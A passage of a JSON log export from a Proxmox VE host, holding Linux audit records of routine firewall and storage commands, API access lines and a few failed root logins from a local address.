arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0c2090 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66619 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705576,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.576:62231): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965053153,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965053.153:63855): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964143077,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964143.077:59757): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57386 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964175191,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964175.191:59912): table=filter family=7 entries=4 op=xt_replace pid=57533 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965155190,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965155.190:64407): table=filter family=7 entries=4 op=xt_replace pid=61880 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365268,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.268:69439): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964783575,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:13:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1080"} {"@timestamp":1781965704701,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:23 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964665929,"@rawstring":"<27>Jun 20 15:11:05 pvedaemon[1215]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966301127,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966301.127:69237): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66468 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355173,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.173:69404): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66618 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705569,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.569:62230): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965053151,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965053.151:63854): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964138067,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964138.067:59755): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57385 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964166050,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964166.050:59870): table=filter family=7 entries=4 op=xt_replace pid=57494 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965146022,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965146.022:64365): table=filter family=7 entries=4 op=xt_replace pid=61841 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365267,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.267:69438): argc=1 a0=\"date\""} {"@timestamp":1781964780648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1080"} {"@timestamp":1781965703684,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964664166,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966301127,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966301.127:69236): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66468 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355166,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.166:69403): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66617 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705352,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.352:62229): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965053147,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965053.147:63851): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964138067,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964138.067:59754): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57385 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964155914,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964155.914:59825): table=filter family=7 entries=4 op=xt_replace pid=57450 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965135830,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965135.830:64323): table=filter family=7 entries=4 op=xt_replace pid=61800 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365263,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.263:69436): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964780648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 840"} {"@timestamp":1781965703684,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:22 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781964664165,"@rawstring":"password check failed for user (root)"} {"@timestamp":1781966301117,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966301.117:69234): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66467 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355159,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.159:69402): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb6a1a0d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66616 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964705344,"@rawstring":"node=pve type=EXECVE msg=audit(1781964705.344:62226): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964138060,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964138.060:59752): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57384 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053145,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965053.145:63850): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964145779,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964145.779:59783): table=filter family=7 entries=4 op=xt_replace pid=57411 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965125636,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965125.636:64280): table=filter family=7 entries=4 op=xt_replace pid=61760 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365257,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.257:69435): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964779641,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965702004,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:21 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 872"} {"@timestamp":1781964663133,"@rawstring":"<27>Jun 20 15:11:03 pvedaemon[1215]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966301117,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966301.117:69233): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66467 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355153,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.153:69401): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66615 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964704986,"@rawstring":"node=pve type=EXECVE msg=audit(1781964704.986:62223): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964138060,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964138.060:59751): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57384 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053120,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965053.120:63848): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964135639,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964135.639:59741): table=filter family=7 entries=4 op=xt_replace pid=57372 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965115401,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965115.401:64235): table=filter family=7 entries=4 op=xt_replace pid=61716 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365252,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.252:69434): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964779641,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1080"} {"@timestamp":1781965702004,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:20 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781964660545,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966296108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966296.108:69231): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355147,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.147:69400): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66614 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964704952,"@rawstring":"node=pve type=EXECVE msg=audit(1781964704.952:62222): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964135672,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.672:59747): arch=c000003e syscall=59 success=no exit=-2 a0=7ffcef77bb10 a1=6271f41a3310 a2=6271f419c680 a3=5 items=1 ppid=57377 pid=57378 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053118,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965053.118:63847): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964125498,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964125.498:59699): table=filter family=7 entries=4 op=xt_replace pid=57333 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965105243,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965105.243:64193): table=filter family=7 entries=4 op=xt_replace pid=61677 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365246,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.246:69433): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964779641,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965700673,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964659371,"@rawstring":"<27>Jun 20 15:10:59 pvedaemon[1216]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966296108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966296.108:69230): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355140,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.140:69399): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66613 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964700336,"@rawstring":"node=pve type=EXECVE msg=audit(1781964700.336:62221): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964135587,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964135.587:59729): arch=c000003e syscall=59 success=no exit=-2 a0=7ffdf661f6c0 a1=629b0ff41310 a2=629b0ff3a680 a3=5 items=1 ppid=57358 pid=57359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053116,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965053.116:63844): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964115359,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964115.359:59657): table=filter family=7 entries=4 op=xt_replace pid=57292 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965095104,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965095.104:64151): table=filter family=7 entries=4 op=xt_replace pid=61638 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365241,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.241:69432): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964776619,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:56 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965700673,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:19 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 932"} {"@timestamp":1781964656926,"@rawstring":"pam_unix(proxmox-ve-auth:auth): authentication failure; logname= uid=0 euid=0 tty= ruser= rhost=::ffff:192.168.1.157 user=root"} {"@timestamp":1781966296094,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966296.094:69228): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355133,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.133:69398): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66612 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964700328,"@rawstring":"node=pve type=EXECVE msg=audit(1781964700.328:62218): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964133053,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964133.053:59719): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57348 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965053114,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965053.114:63843): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964105220,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964105.220:59615): table=filter family=7 entries=4 op=xt_replace pid=57253 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965085958,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965085.958:64109): table=filter family=7 entries=4 op=xt_replace pid=61596 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365234,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.234:69431): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964776619,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:56 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1080"} {"@timestamp":1781965700673,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 508"} {"@timestamp":1781964656926,"@rawstring":"password check failed for user (root)"} {"@timestamp":1781966296094,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966296.094:69227): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966355128,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966355.128:69397): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66611 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964699877,"@rawstring":"node=pve type=EXECVE msg=audit(1781964699.877:62215): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964133053,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964133.053:59718): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57348 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965052024,"@rawstring":"node=pve type=BPRM_FCAPS msg=audit(1781965052.024:63835): fver=0 fp=0 fi=0 fe=0 old_pp=000001f7fdffffff old_pi=0 old_pe=000001f7fdffffff old_pa=0 pp=000001f7fdffffff pi=0 pe=000001f7fdffffff pa=0 frootid=0"} {"@timestamp":1781964096080,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964096.080:59570): table=filter family=7 entries=4 op=xt_replace pid=57209 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781965075816,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781965075.816:64023): table=filter family=7 entries=4 op=xt_replace pid=61490 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966365228,"@rawstring":"node=pve type=EXECVE msg=audit(1781966365.228:69430): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964776619,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1080"} {"@timestamp":1781965700673,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:19 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964655351,"@rawstring":"<27>Jun 20 15:10:55 pvedaemon[1215]: authentication failure; rhost=::ffff:192.168.1.157 user=root@pam msg=Authentication failure\n\u0000"} {"@timestamp":1781966295733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966295.733:69221): arch=c000003e syscall=59 success=no exit=-2 a0=7fffefcb4f80 a1=5cac9d729410 a2=5cac9d707680 a3=5 items=1 ppid=66457 pid=66458 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966354041,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966354.041:69396): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73adda0 a1=64f8d73c6ae0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=66608 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964699877,"@rawstring":"node=pve type=EXECVE msg=audit(1781964699.877:62214): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964133044,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964133.044:59716): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57347 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965052021,"@rawstring":"node=pve type=BPRM_FCAPS 